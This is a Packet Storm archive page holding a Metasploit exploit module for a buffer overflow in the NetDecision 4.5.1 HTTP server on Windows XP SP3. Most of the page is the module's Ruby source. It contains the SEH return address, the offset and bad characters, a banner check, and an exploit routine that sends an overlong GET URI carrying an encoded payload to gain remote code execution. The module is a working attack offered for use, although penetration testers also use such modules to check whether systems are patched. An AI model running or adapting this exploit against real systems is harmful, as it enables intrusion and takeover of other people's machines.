exploit the possibilities

NetDecision 4.5.1 HTTP Server Buffer Overflow

NetDecision 4.5.1 HTTP Server Buffer Overflow
Posted Mar 15, 2012
Authored by sinn3r, Prabhu S Angadi | Site metasploit.com

This Metasploit module exploits a vulnerability found in NetDecision's HTTP service (located in C:\Program Files\NetDecision\Bin\HttpSvr.exe). By supplying a long string of data to the URL, an overflow may occur if the data gets handled by HTTP Server's active window. In other words, in order to gain remote code execution, the victim is probably looking at HttpSvr's window.

tags | exploit, remote, web, overflow, code execution
advisories | OSVDB-79651
MD5 | 7348bed029645aa3c1e51552b299107b

NetDecision 4.5.1 HTTP Server Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in NetDecision's HTTP service
(located in C:\Program Files\NetDecision\Bin\HttpSvr.exe). By supplying a
long string of data to the URL, an overflow may occur if the data gets handled
by HTTP Server's active window. In other words, in order to gain remote code
execution, the victim is probably looking at HttpSvr's window.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Prabhu S Angadi', #Discovery, DoS PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '79651'],
['URL', 'http://secunia.com/advisories/48168/'],
['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
],
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
},
'Platform' => 'win',
'Targets' =>
[
[
'NetDecision 4.5.1 on XP SP3',
{
# POP/POP/RET - OLEACC.dll
'Ret' => 0x74C869E2,
'Offset' => 1620
}
],
],
'Privileged' => false,
'DisclosureDate' => "Feb 24 2012",
'DefaultTarget' => 0))
end

def check
res = send_request_cgi({'uri'=>'/'})
banner = res.headers['Server']
if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit
buf = "/"
buf << rand_text_alpha(675, payload_badchars)
buf << pattern_create(5) #Avoid TerminateProcess()
buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)
buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
buf << [target.ret].pack('V*')
buf << payload.encoded
buf << rand_text_alpha(8000-buf.length, payload_badchars)

print_status("#{rhost}:#{rport} - Sending #{self.name}...")

send_request_raw({
'method' => 'GET',
'uri' => buf
})

handler
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    1 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close